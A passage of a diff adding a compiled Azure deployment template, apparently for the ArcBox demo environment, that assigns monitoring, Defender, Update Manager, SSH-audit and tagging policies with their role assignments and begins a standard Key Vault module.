"expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "azureLocation": { + "value": "[parameters('location')]" + }, + "logAnalyticsWorkspaceId": { + "value": "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + }, + "flavor": { + "value": "[parameters('flavor')]" + }, + "resourceTags": { + "value": "[parameters('resourceTags')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "9222970623693331004" + } + }, + "parameters": { + "azureLocation": { + "type": "string", + "metadata": { + "description": "Location of your Azure resources" + } + }, + "logAnalyticsWorkspaceId": { + "type": "string", + "metadata": { + "description": "Name of your log analytics workspace" + } + }, + "flavor": { + "type": "string", + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" + }, + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "azureUpdateManagerArcPolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46" + }, + "azureUpdateManagerAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15" + }, + "sshPostureControlAzurePolicyId": { + "type": "string", + "defaultValue": "/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4" + }, + "tagsRoleDefinitionId": { + "type": "string", + "defaultValue": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c', subscription().subscriptionId)]" + } + }, + "variables": { + "policies": [ + { + "name": "(ArcBox) Enable Azure Monitor for Hybrid VMs with AMA", + "definitionId": "/providers/Microsoft.Authorization/policySetDefinitions/59e9c3eb-d8df-473b-8059-23fd38ddd0f0", + "flavors": [ + "Full", + "ITPro" + ], + "roleDefinition": [ + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293', subscription().subscriptionId)]", + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/cd570a14-e51a-42ad-bac8-bafd67325302', subscription().subscriptionId)]", + "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/749f88d5-cbae-40b8-bcfc-e573ddc772fa', subscription().subscriptionId)]" + ], + "parameters": { + "logAnalyticsWorkspace": { + "value": "[parameters('logAnalyticsWorkspaceId')]" + }, + "enableProcessesAndDependencies": { + "value": true + } + } + }, + { + "name": "(ArcBox) Enable Microsoft Defender on Kubernetes clusters", + "definitionId": "/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c", + "flavors": [ + "Full", + "DevOps" + ], + "roleDefinition": "[format('/subscriptions/{0}/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293', subscription().subscriptionId)]", + "parameters": {} + } + ] + }, + "resources": [ + { + "copy": { + "name": "policies_name", + "count": "[length(variables('policies'))]" + }, + "condition": "[contains(variables('policies')[copyIndex()].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[variables('policies')[copyIndex()].name]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "[variables('policies')[copyIndex()].definitionId]", + "parameters": "[variables('policies')[copyIndex()].parameters]" + } + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[0], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[0]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[1], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[1]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[0].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[0].name, variables('policies')[0].roleDefinition[2], resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[0].roleDefinition[2]]", + "principalId": "[if(contains(variables('policies')[0].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[0].name)]" + ] + }, + { + "condition": "[contains(variables('policies')[1].flavors, parameters('flavor'))]", + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(variables('policies')[1].name, variables('policies')[1].roleDefinition, resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[variables('policies')[1].roleDefinition]", + "principalId": "[if(contains(variables('policies')[1].flavors, parameters('flavor')), reference(resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[1].name), '2021-06-01', 'full').identity.principalId, guid(format('policies_name_id{0}', 0)))]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', variables('policies')[1].name)]" + ] + }, + { + "copy": { + "name": "applyCustomTags", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2021-06-01", + "name": "[format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)]", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "policyDefinitionId": "/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26", + "parameters": { + "tagName": { + "value": "[items(parameters('resourceTags'))[copyIndex()].key]" + }, + "tagValue": { + "value": "[items(parameters('resourceTags'))[copyIndex()].value]" + } + } + } + }, + { + "copy": { + "name": "policy_tagging_resources", + "count": "[length(items(parameters('resourceTags')))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2020-10-01-preview", + "name": "[guid(format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key), parameters('tagsRoleDefinitionId'), resourceGroup().id)]", + "properties": { + "roleDefinitionId": "[parameters('tagsRoleDefinitionId')]", + "principalId": "[reference(resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key)), '2021-06-01', 'full').identity.principalId]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]", + "[resourceId('Microsoft.Authorization/policyAssignments', format('(ArcBox) Tag resources-{0}', items(parameters('resourceTags'))[copyIndex()].key))]" + ] + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Linux hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Windows hybrid machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines", + "description": "Enable Azure Update Manager for Arc-enabled machines", + "policyDefinitionId": "[parameters('azureUpdateManagerArcPolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Windows machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Windows" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "location": "[parameters('azureLocation')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "displayName": "(ArcBox) Enable Azure Update Manager for Azure Linux machines", + "description": "Enable Azure Update Manager for Azure machines", + "policyDefinitionId": "[parameters('azureUpdateManagerAzurePolicyId')]", + "parameters": { + "osType": { + "value": "Linux" + } + } + } + }, + { + "type": "Microsoft.Authorization/policyAssignments", + "apiVersion": "2024-04-01", + "name": "(ArcBox) Enable SSH Posture Control audit", + "location": "[parameters('azureLocation')]", + "properties": { + "displayName": "(ArcBox) Enable SSH Posture Control audit", + "description": "Enable SSH Posture Control in audit mode", + "policyDefinitionId": "[parameters('sshPostureControlAzurePolicyId')]", + "parameters": { + "IncludeArcMachines": { + "value": "true" + } + } + } + } + ] + } + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + }, + { + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "keyVaultDeployment", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[toLower(variables('keyVaultName'))]" + }, + "enablePurgeProtection": { + "value": false + }, + "enableSoftDelete": { + "value": false + }, + "location": { + "value": "[parameters('location')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "12538315610403519820" + }, + "name": "Key Vaults", + "description": "This module deploys a Key Vault.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "diagnosticSettingType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of diagnostic setting." + } + }, + "logCategoriesAndGroups": { + "type": "array", + "items": { + "type": "object", + "properties": { + "category": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of a Diagnostic Log category for a resource type this setting is applied to. Set the specific logs to collect here." + } + }, + "categoryGroup": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of a Diagnostic Log category group for a resource type this setting is applied to. Set to `allLogs` to collect all logs." + } + }, + "enabled": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable or disable the category explicitly. Default is `true`." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. The name of logs that will be streamed. \"allLogs\" includes all possible logs for the resource. Set to `[]` to disable log collection." + } + }, + "metricCategories": { + "type": "array", + "items": { + "type": "object", + "properties": { + "category": { + "type": "string", + "metadata": { + "description": "Required. Name of a Diagnostic Metric category for a resource type this setting is applied to. Set to `AllMetrics` to collect all metrics." + } + }, + "enabled": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable or disable the category explicitly. Default is `true`." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. The name of metrics that will be streamed. \"allMetrics\" includes all possible metrics for the resource. Set to `[]` to disable metric collection." + } + }, + "logAnalyticsDestinationType": { + "type": "string", + "allowedValues": [ + "AzureDiagnostics", + "Dedicated" + ], + "nullable": true, + "metadata": { + "description": "Optional. A string indicating whether the export to Log Analytics should use the default destination type, i.e. AzureDiagnostics, or use a destination type." + } + }, + "workspaceResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic log analytics workspace. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "storageAccountResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic storage account. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "eventHubAuthorizationRuleResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Resource ID of the diagnostic event hub authorization rule for the Event Hubs namespace in which the event hub should be created or streamed to." + } + }, + "eventHubName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Name of the diagnostic event hub within the namespace to which logs are streamed. Without this, an event hub is created for each log category. For security reasons, it is recommended to set diagnostic settings to send data to either storage account, log analytics workspace or event hub." + } + }, + "marketplacePartnerResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The full ARM resource ID of the Marketplace resource to which you would like to send Diagnostic Logs." + } + } + } + }, + "nullable": true + }, + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + }, + "privateEndpointType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private endpoint." + } + }, + "location": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The location to deploy the private endpoint to." + } + }, + "privateLinkServiceConnectionName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private link connection to create." + } + }, + "service": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The subresource to deploy the private endpoint for. For example \"vault\", \"mysqlServer\" or \"dataFactory\"." + } + }, + "subnetResourceId": { + "type": "string", + "metadata": { + "description": "Required. Resource ID of the subnet where the endpoint needs to be created." + } + }, + "privateDnsZoneGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private DNS zone group to create if `privateDnsZoneResourceIds` were provided." + } + }, + "privateDnsZoneResourceIds": { + "type": "array", + "items": { + "type": "string" + }, + "nullable": true, + "metadata": { + "description": "Optional. The private DNS zone groups to associate the private endpoint with. A DNS zone group can support up to 5 DNS zones." + } + }, + "isManualConnection": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. If Manual Private Link Connection is required." + } + }, + "manualConnectionRequestMessage": { + "type": "string", + "nullable": true, + "maxLength": 140, + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with the manual connection request." + } + }, + "customDnsConfigs": { + "type": "array", + "items": { + "type": "object", + "properties": { + "fqdn": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Required. Fqdn that resolves to private endpoint IP address." + } + }, + "ipAddresses": { + "type": "array", + "items": { + "type": "string" + }, + "metadata": { + "description": "Required. A list of private IP addresses of the private endpoint." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. Custom DNS configurations." + } + }, + "ipConfigurations": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the resource that is unique within a resource group." + } + }, + "properties": { + "type": "object", + "properties": { + "groupId": { + "type": "string", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "memberName": { + "type": "string", + "metadata": { + "description": "Required. The member name of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateIPAddress": { + "type": "string", + "metadata": { + "description": "Required. A private IP address obtained from the private endpoint's subnet." + } + } + }, + "metadata": { + "description": "Required. Properties of private endpoint IP configurations." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. A list of IP configurations of the private endpoint. This will be used to map to the First Party Service endpoints." + } + }, + "applicationSecurityGroupResourceIds": { + "type": "array", + "items": { + "type": "string" + }, + "nullable": true, + "metadata": { + "description": "Optional. Application security groups in which the private endpoint IP configuration is included." + } + }, + "customNetworkInterfaceName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The custom name of the network interface attached to the private endpoint." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. Specify the type of lock." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Tags to be applied on all resources/resource groups in this deployment." + } + }, + "enableTelemetry": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + }, + "resourceGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify if you want to deploy the Private Endpoint into a different resource group than the main resource." + } + } + } + }, + "nullable": true + }, + "lockType": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify the name of lock." + } + }, + "kind": { + "type": "string", + "allowedValues": [ + "CanNotDelete", + "None", + "ReadOnly" + ], + "nullable": true, + "metadata": { + "description": "Optional. Specify the type of lock." + } + } + }, + "nullable": true + }, + "accessPoliciesType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "tenantId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The tenant ID that is used for authenticating requests to the key vault." + } + }, + "objectId": { + "type": "string", + "metadata": { + "description": "Required. The object ID of a user, service principal or security group in the tenant for the vault." + } + }, + "applicationId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Application ID of the client making request on behalf of a principal." + } + }, + "permissions": { + "type": "object", + "properties": { + "keys": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "decrypt", + "delete", + "encrypt", + "get", + "getrotationpolicy", + "import", + "list", + "purge", + "recover", + "release", + "restore", + "rotate", + "setrotationpolicy", + "sign", + "unwrapKey", + "update", + "verify", + "wrapKey" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to keys." + } + }, + "secrets": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "get", + "list", + "purge", + "recover", + "restore", + "set" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to secrets." + } + }, + "certificates": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "delete", + "deleteissuers", + "get", + "getissuers", + "import", + "list", + "listissuers", + "managecontacts", + "manageissuers", + "purge", + "recover", + "restore", + "setissuers", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to certificates." + } + }, + "storage": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "deletesas", + "get", + "getsas", + "list", + "listsas", + "purge", + "recover", + "regeneratekey", + "restore", + "set", + "setsas", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to storage accounts." + } + } + }, + "metadata": { + "description": "Required. Permissions the identity has for keys, secrets and certificates." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "name": { + "type": "string", + "maxLength": 24, + "metadata": { + "description": "Required. Name of the Key Vault. Must be globally unique." + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Optional. Location for all resources." + } + }, + "accessPolicies": { + "$ref": "#/definitions/accessPoliciesType", + "metadata": { + "description": "Optional. All access policies to create." + } + }, + "secrets": { + "type": "secureObject", + "nullable": true, + "metadata": { + "description": "Optional. All secrets to create." + } + }, + "keys": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. All keys to create." + } + }, + "enableVaultForDeployment": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the vault is enabled for deployment by script or compute." + } + }, + "enableVaultForTemplateDeployment": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the vault is enabled for a template deployment." + } + }, + "enableVaultForDiskEncryption": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the azure platform has access to the vault for enabling disk encryption scenarios." + } + }, + "enableSoftDelete": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Switch to enable/disable Key Vault's soft delete feature." + } + }, + "softDeleteRetentionInDays": { + "type": "int", + "defaultValue": 90, + "metadata": { + "description": "Optional. softDelete data retention days. It accepts >=7 and <=90." + } + }, + "enableRbacAuthorization": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Property that controls how data actions are authorized. When true, the key vault will use Role Based Access Control (RBAC) for authorization of data actions, and the access policies specified in vault properties will be ignored. When false, the key vault will use the access policies specified in vault properties, and any policy stored on Azure Resource Manager will be ignored. Note that management actions are always authorized with RBAC." + } + }, + "createMode": { + "type": "string", + "defaultValue": "default", + "metadata": { + "description": "Optional. The vault's create mode to indicate whether the vault need to be recovered or not. - recover or default." + } + }, + "enablePurgeProtection": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Provide 'true' to enable Key Vault's purge protection feature." + } + }, + "sku": { + "type": "string", + "defaultValue": "premium", + "allowedValues": [ + "premium", + "standard" + ], + "metadata": { + "description": "Optional. Specifies the SKU for the vault." + } + }, + "networkAcls": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Rules governing the accessibility of the resource from specific network locations." + } + }, + "publicNetworkAccess": { + "type": "string", + "defaultValue": "", + "allowedValues": [ + "", + "Enabled", + "Disabled" + ], + "metadata": { + "description": "Optional. Whether or not public network access is allowed for this resource. For security reasons it should be disabled. If not specified, it will be disabled by default if private endpoints are set and networkAcls are not set." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. The lock settings of the service." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "privateEndpoints": { + "$ref": "#/definitions/privateEndpointType", + "metadata": { + "description": "Optional. Configuration details for private endpoints. For security reasons, it is recommended to use private endpoints whenever possible." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "diagnosticSettings": { + "$ref": "#/definitions/diagnosticSettingType", + "metadata": { + "description": "Optional. The diagnostic settings of the service." + } + }, + "enableTelemetry": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + } + }, + "variables": { + "copy": [ + { + "name": "formattedAccessPolicies", + "count": "[length(coalesce(parameters('accessPolicies'), createArray()))]", + "input": { + "applicationId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'applicationId'), '')]", + "objectId": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].objectId]", + "permissions": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].permissions]", + "tenantId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'tenantId'), tenant().tenantId)]" + } + } + ], + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + }, + "secretList": "[coalesce(tryGet(parameters('secrets'), 'secureList'), createArray())]" + }, + "resources": { + "avmTelemetry": { + "condition": "[parameters('enableTelemetry')]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2023-07-01", + "name": "[format('46d3xbcp.res.keyvault-vault.{0}.{1}', replace('0.5.1', '.', '-'), substring(uniqueString(deployment().name, parameters('location')), 0, 4))]", + "properties": { + "mode": "Incremental", + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "resources": [], + "outputs": { + "telemetry": { + "type": "String", + "value": "For more information, see https://aka.ms/avm/TelemetryInfo" + } + } + } + } + }, + "keyVault": { + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('name')]", + "location": "[parameters('location')]", + "tags": "[parameters('tags')]", + "properties": { + "enabledForDeployment": "[parameters('enableVaultForDeployment')]", + "enabledForTemplateDeployment": "[parameters('enableVaultForTemplateDeployment')]", + "enabledForDiskEncryption": "[parameters('enableVaultForDiskEncryption')]", + "enableSoftDelete": "[parameters('enableSoftDelete')]", + "softDeleteRetentionInDays": "[parameters('softDeleteRetentionInDays')]", + "enableRbacAuthorization": "[parameters('enableRbacAuthorization')]", + "createMode": "[parameters('createMode')]", + "enablePurgeProtection": "[if(parameters('enablePurgeProtection'), parameters('enablePurgeProtection'), null())]", + "tenantId": "[subscription().tenantId]", + "accessPolicies": "[variables('formattedAccessPolicies')]", + "sku": { + "name": "[parameters('sku')]", + "family": "A" + }, + "networkAcls": "[if(not(empty(coalesce(parameters('networkAcls'), createObject()))), createObject('bypass', tryGet(parameters('networkAcls'), 'bypass'), 'defaultAction', tryGet(parameters('networkAcls'), 'defaultAction'), 'virtualNetworkRules', coalesce(tryGet(parameters('networkAcls'), 'virtualNetworkRules'), createArray()), 'ipRules', coalesce(tryGet(parameters('networkAcls'), 'ipRules'), createArray())), null())]", + "publicNetworkAccess": "[if(not(empty(parameters('publicNetworkAccess'))), parameters('publicNetworkAccess'), if(and(not(empty(coalesce(parameters('privateEndpoints'), createArray()))), empty(coalesce(parameters('networkAcls'), createObject()))), 'Disabled', null()))]" + } + }, + "keyVault_lock": { + "condition": "[and(not(empty(coalesce(parameters('lock'), createObject()))), not(equals(tryGet(parameters('lock'), 'kind'), 'None')))]", + "type": "Microsoft.Authorization/locks", + "apiVersion": "2020-05-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', 